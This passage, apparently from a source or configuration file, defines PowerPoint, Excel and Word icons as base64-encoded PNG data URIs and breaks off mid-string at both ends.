BQT1MTtlZXkxYKubaAJAIlLw9f+vxz+vfrr8N/Hj1CzeslbmJSzgzmwAD+6tAhmvvqqxlOzGF08eLF7gE4ExlTqDsSwRvvvEPqVABYFqihEG786iv6cuFC8M2cOWarxhgYwBUffUQvbN2aQSFEdA+gra0t7cS2ttHrhc5IBP5ZVQXaFCmkhMPwm08+gb+9/DL48/PHRDEjHoeXDh+GIgYwikJLly51ZwEG4HRixeejjkgEr1VVkQPApHkgHak4lKo+H1Z0dNCdo0fh2nvvoRYMklCU5xSKx/HXhw9T8datYI1y4mXLlrkDcO/evYxyWvF6qb2pCZvZB4LBKfkAA6i8c4csw4C+27fxrxUVxILy2rygkUhg6ccfU9HmzUC6nhFGly9f7h6AsxZSvF540NQEl999F0YAcM3irF+yjDkKcfLbcfcuDPX2chliU+jLykp43NICnkAA9GfPoPz4cUgByIhCrgG0traOscDDCxfwH7t2kdfvH/YLFztz0jTBN3s2vnblCg3FYvbrApE4uX2zbx99W1/PWRHL6uupqLwcLEcpwVFo5cqV7iwwGgCHOk9+Pp5eu5YSPT2Q2rVG3rmz84QQE455W1IngrJDh/DFV14ha9hBRyjiKSigrosX4dzOnbjp6FH6xZYtGRSaEoCbN2+ObWi4lNY0uHXkCPR//z2gqk6e0HhXT9Ng0fbt8EJJCcf6cd9hirJlmFrjrFu3atUqdxZoaWkZtydmsys+H4jh7JlzFGKtOxwzwwLpRCaGN4bsja2MalWIutWrV7sDcP369YxMPKo35v0k/krOAFJqH7dpTwOYYD3eGa9bu3atewCpnbmffFeC+wHXAK5du/azaeoZwLp169xZ4MqVKxn9wHQdMeVAQ7sj27BhgzsAzc3N6Z548kgzzTO4HygtLXUPIF0LTecRUw7JkKf8HwK4fPnyH4no6DSzI6flpZT1Gzdu/MN4kyc8Hzh37tzvAoFAxHE+JoUQwnEAkb62s07qmeux4z0ejhxwOM/kTNP8U3l5+Z+zApBSisbGRkwkEpqiKIphGFhUVFTr8/k284tSyuHG9fmPr0ffy0mj40yyuCV23hdC8LXQdf1WX1/f75PJ5DPLsqxgMGhUVlZyKzqsrPPnz6tdXV1LiWgJAMwDgLkAECKiAgDwciEmhOAmmDv5tMBsuQCfU9tq+wE/OWzSBAA8S2V3Xo2Fj0spB3h9IYSOiH0AwIVUDwA8QsR7hYWF34mGhoY8VVVfE0L8FhGLiWgWAIQR0UNEXgDwIKJgHIioEhGD4I/yNd+3DZSKJjYYLmlS9yca83xbN6m5vB7f4/VYeJMP+IiI77PwQ1zQAsBTRIwSUYeU8u+maZ5mTotTp07NRMTZiqLMNE2TN31mCCG46A8TUZhPEi3LwtTzEa3zxy3LYl9QhBAzpJS+FLBsAFiopKIoMdM0LUVR0krgEl2appkQQvQqisLHrXzI/pQFl1LyEX5MVdWnlmX1EtGTnTt39k5o/pqaGiwrK+Ojf5s2fASq67rGwmqalvHe4OCg8Hg8ASLSGFA2RrHAiGjouv7M7/dnzDUMgxlleTweIxQK2ab1+/3WxYsXqaamZuRw0bn+fwHT8dGupHYuwwAAAABJRU5ErkJggg==",powerpoint_icon="data:image/png;base64,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",excel_icon="data:image/png;base64,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",word_icon="data:image/png;base64,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